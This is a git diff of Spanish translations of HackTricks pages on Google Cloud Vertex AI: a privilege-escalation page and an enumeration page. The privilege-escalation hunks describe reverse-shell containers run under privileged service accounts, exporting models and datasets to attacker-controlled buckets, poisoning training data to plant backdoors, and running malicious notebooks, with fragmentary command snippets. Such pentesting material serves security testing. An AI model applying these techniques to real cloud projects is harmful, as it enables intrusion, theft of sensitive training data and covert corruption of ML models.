-Crear batch prediction job con malicious model +Crear trabajo de predicción por lotes con modelo malicioso ```bash # Step 1: Upload a malicious model with custom prediction container that executes reverse shell gcloud ai models upload \ @@ -238,14 +244,14 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R ### `aiplatform.models.export` -Si tienes el permiso **models.export**, puedes exportar artefactos del modelo a un bucket GCS que controles, accediendo potencialmente a datos sensibles de entrenamiento o archivos del modelo. +Si tienes el permiso **models.export**, puedes exportar artefactos del modelo a un GCS bucket que controles, accediendo potencialmente a datos de entrenamiento sensibles o archivos del modelo. > [!NOTE] -> Para realizar este ataque se necesita tener un bucket GCS con permisos de lectura y escritura públicos, o crear uno nuevo para subir los artefactos del modelo. +> Para realizar este ataque es necesario tener un GCS bucket con permisos de lectura y escritura para todo el mundo, o crear uno nuevo para subir los artefactos del modelo.
-Exportar artefactos del modelo a un bucket GCS +Exportar artefactos del modelo a GCS bucket ```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" @@ -272,16 +278,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./ ### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs` -Crear **ML pipeline jobs** que ejecuten múltiples pasos con contenedores arbitrarios y permitan privilege escalation mediante reverse shell. +Crear **ML pipeline jobs** que ejecuten múltiples pasos con contenedores arbitrarios y logren escalada de privilegios mediante un reverse shell. -Pipelines son particularmente poderosos para privilege escalation porque soportan multi-stage attacks donde cada componente puede usar diferentes contenedores y configuraciones. +Los pipelines son especialmente potentes para la escalada de privilegios porque permiten ataques de varias etapas donde cada componente puede usar distintos contenedores y configuraciones. > [!NOTE] -> Necesitas un GCS bucket con permisos de escritura global para usarlo como pipeline root. +> Necesitas un GCS bucket con permisos de escritura abiertos a todo el mundo para usar como raíz del pipeline.
-Instalar Vertex AI SDK +Install Vertex AI SDK ```bash # Install the Vertex AI SDK first pip install google-cloud-aiplatform @@ -290,7 +296,7 @@ pip install google-cloud-aiplatform
-Crear pipeline job con contenedor reverse shell +Crear job de pipeline con contenedor reverse shell ```python #!/usr/bin/env python3 import json @@ -384,11 +390,11 @@ print(f" {response.text}") ### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs` -Crear **hyperparameter tuning jobs** que ejecutan código arbitrario con privilegios elevados a través de custom training containers. +Crear **hyperparameter tuning jobs** que ejecuten código arbitrario con privilegios elevados a través de contenedores de entrenamiento personalizados. -Los hyperparameter tuning jobs permiten ejecutar múltiples pruebas de entrenamiento en paralelo, cada una con diferentes valores de hiperparámetros. Al especificar un contenedor malicioso con un reverse shell o un comando de exfiltration, y asociarlo a una service account con privilegios, puedes lograr una escalada de privilegios. +Hyperparameter tuning jobs te permiten ejecutar múltiples ensayos de entrenamiento en paralelo, cada uno con diferentes valores de hiperparámetros. Al especificar un contenedor malicioso con un reverse shell o un comando de exfiltration, y asociarlo a un service account con privilegios, puedes lograr privilege escalation. -**Impacto**: Escalada completa de privilegios a los permisos de la service account objetivo. +**Impacto**: Full privilege escalation a los permisos del service account objetivo.
@@ -433,15 +439,15 @@ gcloud ai hp-tuning-jobs create \ ### `aiplatform.datasets.export` -Exportar **datasets** para exfiltrate datos de entrenamiento que pueden contener información sensible. +Exporta **datasets** para exfiltrar datos de entrenamiento que pueden contener información sensible. -**Nota**: Las operaciones sobre datasets requieren REST API o Python SDK (no hay soporte de gcloud CLI para datasets). +**Nota**: Las operaciones de datasets requieren REST API o Python SDK (sin soporte de gcloud CLI para datasets). -Los datasets a menudo contienen los datos originales de entrenamiento, que pueden incluir PII, datos comerciales confidenciales u otra información sensible que se usó para entrenar modelos de producción. +Los datasets con frecuencia contienen los datos de entrenamiento originales, que pueden incluir PII, datos comerciales confidenciales u otra información sensible que se utilizó para entrenar modelos en producción.
-Exportar dataset para exfiltrate los datos de entrenamiento +Exportar dataset para exfiltrar datos de entrenamiento ```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" @@ -490,25 +496,25 @@ cat exported-data/*/data-*.jsonl ### `aiplatform.datasets.import` -Importa datos maliciosos o poisoned en conjuntos de datos existentes para **manipular el entrenamiento del modelo e introducir backdoors**. +Importar datos maliciosos o envenenados en conjuntos de datos existentes para **manipular el entrenamiento del modelo e introducir backdoors**. -**Nota**: Las operaciones sobre conjuntos de datos requieren REST API o Python SDK (no hay soporte de gcloud CLI para conjuntos de datos). +**Nota**: Las operaciones con conjuntos de datos requieren REST API o Python SDK (no hay soporte de gcloud CLI para conjuntos de datos). -Al importar datos diseñados en un conjunto de datos usado para entrenar modelos ML, un atacante puede: -- Introducir backdoors en los modelos (trigger-based misclassification) -- Poison los datos de entrenamiento para degradar el rendimiento del modelo -- Inyectar datos para provocar que los modelos leak información +Al importar datos manipulados en un conjunto de datos usado para entrenar modelos de ML, un atacante puede: +- Introducir backdoors en los modelos (misclasificación basada en trigger) +- Envenenar los datos de entrenamiento para degradar el rendimiento del modelo +- Inyectar datos para causar que los modelos leak information - Manipular el comportamiento del modelo para entradas específicas -Este ataque es especialmente efectivo cuando se dirige a conjuntos de datos usados para: +Este ataque es particularmente efectivo cuando se dirige a conjuntos de datos utilizados para: - Clasificación de imágenes (inyectar imágenes mal etiquetadas) - Clasificación de texto (inyectar texto sesgado o malicioso) -- Detección de objetos (manipular cajas delimitadoras) +- Detección de objetos (manipular bounding boxes) - Sistemas de recomendación (inyectar preferencias falsas)
-Importar datos poisoned en el conjunto de datos +Importar datos envenenados en un conjunto de datos ```bash # Step 1: List available datasets to find target PROJECT="your-project" @@ -569,7 +575,7 @@ curl -s -X GET \
-Backdoor attack - Image classification +Backdoor attack - clasificación de imágenes ```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification @@ -596,7 +602,7 @@ done > label_flip.jsonl
-Data poisoning for model extraction +Envenenamiento de datos para la extracción de modelos ```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior @@ -623,38 +629,38 @@ EOF
> [!DANGER] -> Data poisoning attacks pueden tener consecuencias graves: -> - **Sistemas de seguridad**: Eludir el reconocimiento facial o la detección de anomalías -> - **Detección de fraude**: Entrenar modelos para ignorar patrones específicos de fraude -> - **Moderación de contenido**: Provocar que contenido dañino sea clasificado como seguro -> - **IA médica**: Malclasificar condiciones de salud críticas -> - **Sistemas autónomos**: Manipular la detección de objetos para decisiones críticas de seguridad - -**Impacto**: -- Modelos con puertas traseras que clasifican erróneamente ante disparadores específicos -- Degradación del rendimiento y la precisión del modelo -- Modelos sesgados que discriminan contra ciertas entradas -- Filtración de información a través del comportamiento del modelo -- Persistencia a largo plazo (los modelos entrenados con datos envenenados heredarán la puerta trasera) - - -### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs` - -> [!WARNING] -> > [!NOTE] -> **API obsoleta**: La `aiplatform.notebookExecutionJobs.create` API está obsoleta como parte de la descontinuación de Vertex AI Workbench Managed Notebooks. El enfoque moderno es usar **Vertex AI Workbench Executor** que ejecuta notebooks mediante `aiplatform.customJobs.create` (ya documentado arriba). -> El Vertex AI Workbench Executor permite programar ejecuciones de notebooks que se ejecutan en la infraestructura de entrenamiento personalizado de Vertex AI con una cuenta de servicio especificada. Esto es esencialmente un envoltorio de conveniencia alrededor de `customJobs.create`. -> **Para escalada de privilegios mediante notebooks**: Utilice el método `aiplatform.customJobs.create` documentado arriba, que es más rápido, más fiable y usa la misma infraestructura subyacente que el Workbench Executor. - -**La siguiente técnica se proporciona solo por contexto histórico y no se recomienda su uso en nuevas evaluaciones.** - -Cree **notebook execution jobs** que ejecuten notebooks Jupyter con código arbitrario. - -Los notebook jobs son ideales para ejecución de código estilo interactivo con una cuenta de servicio, ya que soportan celdas de código Python y comandos de shell. - -
- -Crear archivo de notebook malicioso +> Data poisoning attacks can have severe consequences: +> - **Security systems**: Eludir reconocimiento facial o detección de anomalías +> - **Fraud detection**: Entrenar modelos para ignorar patrones específicos de fraude +> - **Content moderation**: Hacer que contenido dañino se clasifique como seguro +> - **Medical AI**: Clasificar erróneamente condiciones de salud críticas +> - **Autonomous systems**: Manipular la detección de objetos para decisiones críticas de seguridad +> +> **Impact**: +> - Backdoored models que clasifican erróneamente ante disparadores específicos +> - Rendimiento y precisión del modelo degradados +> - Modelos sesgados que discriminan contra ciertas entradas +> - Filtración de información a través del comportamiento del modelo +> - Persistencia a largo plazo (los modelos entrenados con datos envenenados heredarán el backdoor) +> +> +> ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs` +> +> > [!WARNING] +> > > [!NOTE] +> > **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above). +> > The Vertex AI Workbench Executor allows scheduling notebook runs that execute on Vertex AI custom training infrastructure with a specified service account. This is essentially a convenience wrapper around `customJobs.create`. +> > **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor. +> +> **The following technique is provided for historical context only and is not recommended for use in new assessments.** +> +> Cree **notebook execution jobs** que ejecuten Jupyter notebooks con código arbitrario. +> +> Los trabajos de notebook son ideales para la ejecución de código en estilo interactivo con una cuenta de servicio, ya que soportan celdas de código Python y comandos de shell. +> +>
+> +> Crear archivo de notebook malicioso ```bash # Create a malicious notebook cat > malicious.ipynb <<'EOF' @@ -681,7 +687,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
-Ejecutar el notebook con la cuenta de servicio objetivo +Ejecutar notebook con la cuenta de servicio objetivo ```bash # Create notebook execution job using REST API PROJECT="gcp-labs-3uis1xlx" diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md index c0b22f62f..8979dbb55 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md @@ -1,53 +1,61 @@ -# GCP - Vertex AI Enumeración +# GCP - Vertex AI Enum {{#include ../../../banners/hacktricks-training.md}} ## Vertex AI -[Vertex AI](https://cloud.google.com/vertex-ai) es la **plataforma unificada de machine learning** de Google Cloud para construir, desplegar y gestionar modelos de IA a escala. Combina varios servicios de AI y ML en una única plataforma integrada, permitiendo a data scientists y ML engineers: +[Vertex AI](https://cloud.google.com/vertex-ai) es la **plataforma unificada de machine learning** de Google Cloud para construir, desplegar y gestionar modelos de IA a escala. Combina varios servicios de AI y ML en una única plataforma integrada, permitiendo a científicos de datos e ingenieros de ML: -- **Entrenar modelos personalizados** usando AutoML o entrenamiento custom -- **Desplegar modelos** a endpoints escalables para predicciones -- **Gestionar el ciclo de vida de ML** desde la experimentación hasta producción +- **Entrenar modelos personalizados** usando AutoML o entrenamiento personalizado +- **Desplegar modelos** en endpoints escalables para predicciones +- **Gestionar el ciclo de vida ML** desde la experimentación hasta la producción - **Acceder a modelos pre-entrenados** desde Model Garden -- **Supervisar y optimizar** el rendimiento de los modelos +- **Monitorear y optimizar** el rendimiento de los modelos -### Componentes clave +### Agent Engine / Reasoning Engine -#### Models +Para la enumeración específica de **Agent Engine / Reasoning Engine** y rutas de post-explotación que involucran **metadata credential theft**, **P4SA abuse**, y **producer/tenant project pivoting**, consulta: -Los **models** de Vertex AI representan modelos de machine learning entrenados que pueden desplegarse en endpoints para servir predicciones. Los modelos pueden ser: +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} -- **Subidos** desde contenedores personalizados o artefactos de modelo -- Creados mediante **AutoML** training -- Importados desde **Model Garden** (modelos pre-entrenados) -- **Versionados** con múltiples versiones por modelo +### Key Components + +#### Modelos + +Los **modelos** de Vertex AI representan modelos de machine learning entrenados que pueden desplegarse en endpoints para servir predicciones. Los modelos pueden ser: + +- **Cargados** desde contenedores personalizados o artefactos del modelo +- Creado mediante **AutoML** training +- Importado desde **Model Garden** (modelos pre-entrenados) +- **Versionado** con múltiples versiones por modelo Cada modelo tiene metadata que incluye su framework, URI de la imagen del contenedor, ubicación del artefacto y configuración de serving. #### Endpoints -Los **endpoints** son recursos que alojan modelos desplegados y sirven predicciones en línea. Características principales: +Los **endpoints** son recursos que alojan modelos desplegados y sirven predicciones en línea. Características clave: -- Pueden alojar **múltiples modelos desplegados** (con traffic splitting) +- Pueden alojar **múltiples modelos desplegados** (con división de tráfico) - Proporcionan **endpoints HTTPS** para predicciones en tiempo real -- Soportan **autoscaling** basado en el tráfico +- Soportan **autoscaling** según el tráfico - Pueden usar acceso **privado** o **público** -- Soportan **A/B testing** mediante traffic splitting +- Soportan **A/B testing** mediante división de tráfico #### Custom Jobs -Los **custom jobs** permiten ejecutar código de entrenamiento personalizado usando tus propios contenedores o paquetes Python. Características incluyen: +Los **custom jobs** permiten ejecutar código de entrenamiento personalizado usando tus propios contenedores o paquetes Python. Las características incluyen: -- Soporte para **distributed training** con múltiples worker pools -- Tipos de máquina y aceleradores (GPUs/TPUs) configurables +- Soporte para **distributed training** con múltiples pools de trabajadores +- Tipos de máquina y aceleradores configurables (GPUs/TPUs) - Asociación de **service account** para acceder a otros recursos de GCP - Integración con **Vertex AI Tensorboard** para visualización - Opciones de **VPC connectivity** #### Hyperparameter Tuning Jobs -Estas jobs buscan automáticamente los **hiperparámetros óptimos** ejecutando múltiples trials de entrenamiento con diferentes combinaciones de parámetros. +Estos trabajos buscan automáticamente **hiperparámetros óptimos** ejecutando múltiples pruebas de entrenamiento con diferentes combinaciones de parámetros. #### Model Garden @@ -56,21 +64,21 @@ Estas jobs buscan automáticamente los **hiperparámetros óptimos** ejecutando - Modelos pre-entrenados de Google - Modelos open-source (incluyendo Hugging Face) - Modelos de terceros -- Capacidades de despliegue con un solo click +- Capacidades de despliegue con un solo clic #### Tensorboards -Los **Tensorboards** ofrecen visualización y monitoreo para experimentos de ML, rastreando métricas, gráficos de modelos y progreso de entrenamiento. +Los **Tensorboards** ofrecen visualización y monitoreo para experimentos de ML, rastreando métricas, gráficas de modelos y el progreso del entrenamiento. ### Service Accounts & Permissions -Por defecto, los servicios de Vertex AI usan la **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), que tiene permisos de **Editor** en el proyecto. Sin embargo, puedes especificar cuentas de servicio personalizadas cuando: +Por defecto, los servicios de Vertex AI usan la **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), que tiene permisos **Editor** en el proyecto. Sin embargo, puedes especificar cuentas de servicio personalizadas cuando: - Creas custom jobs - Subes modelos -- Despliegas modelos a endpoints +- Despliegas modelos en endpoints -Esta cuenta de servicio se usa para: +Esta cuenta de servicio se utiliza para: - Acceder a datos de entrenamiento en Cloud Storage - Escribir logs en Cloud Logging - Acceder a secretos desde Secret Manager @@ -78,7 +86,7 @@ Esta cuenta de servicio se usa para: ### Data Storage -- Los **model artifacts** se almacenan en buckets de **Cloud Storage** +- Los **artefactos de modelos** se almacenan en buckets de **Cloud Storage** - Los **datos de entrenamiento** típicamente residen en Cloud Storage o BigQuery - Las **imágenes de contenedor** se almacenan en **Artifact Registry** o Container Registry - Los **logs** se envían a **Cloud Logging** @@ -89,13 +97,13 @@ Esta cuenta de servicio se usa para: Por defecto, Vertex AI usa **Google-managed encryption keys**. También puedes configurar: - **Customer-managed encryption keys (CMEK)** desde Cloud KMS -- La encriptación aplica a artefactos de modelo, datos de entrenamiento y endpoints +- El cifrado aplica a artefactos de modelos, datos de entrenamiento y endpoints ### Networking Los recursos de Vertex AI pueden configurarse para: -- **Acceso público a internet** (por defecto) +- **Acceso público a Internet** (por defecto) - **VPC peering** para acceso privado - **Private Service Connect** para conectividad segura - Soporte de **Shared VPC** @@ -169,7 +177,7 @@ gcloud ai models describe --region= --format="value(artifactU # Get container image URI gcloud ai models describe --region= --format="value(containerSpec.imageUri)" ``` -### Detalles del Endpoint +### Detalles del endpoint ```bash # Get endpoint details including deployed models gcloud ai endpoints describe --region= @@ -215,7 +223,7 @@ gcloud projects get-iam-policy \ --flatten="bindings[].members" \ --filter="bindings.role:aiplatform.user" ``` -### Almacenamiento y artefactos +### Almacenamiento y Artefactos ```bash # Models and training jobs often store artifacts in GCS # List buckets that might contain model artifacts @@ -241,14 +249,20 @@ gcloud ai endpoints list --list-model-garden-endpoints-only --region= # Model Garden models are often deployed with default configurations # Check for publicly accessible endpoints ``` -### Escalada de privilegios +### Privilege Escalation -En la página siguiente puedes ver cómo **abusar de los permisos de Vertex AI para escalar privilegios**: +En la siguiente página, puedes consultar cómo **abuse Vertex AI permissions to escalate privileges**: {{#ref}} ../gcp-privilege-escalation/gcp-vertex-ai-privesc.md {{#endref}} +### Post Exploitation + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} + ## Referencias - [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)